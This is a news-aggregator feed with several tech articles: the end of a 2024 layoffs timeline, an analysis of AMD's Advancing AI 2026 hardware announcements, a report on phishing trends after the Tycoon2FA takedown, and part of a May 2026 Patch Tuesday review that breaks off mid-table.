<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
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<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
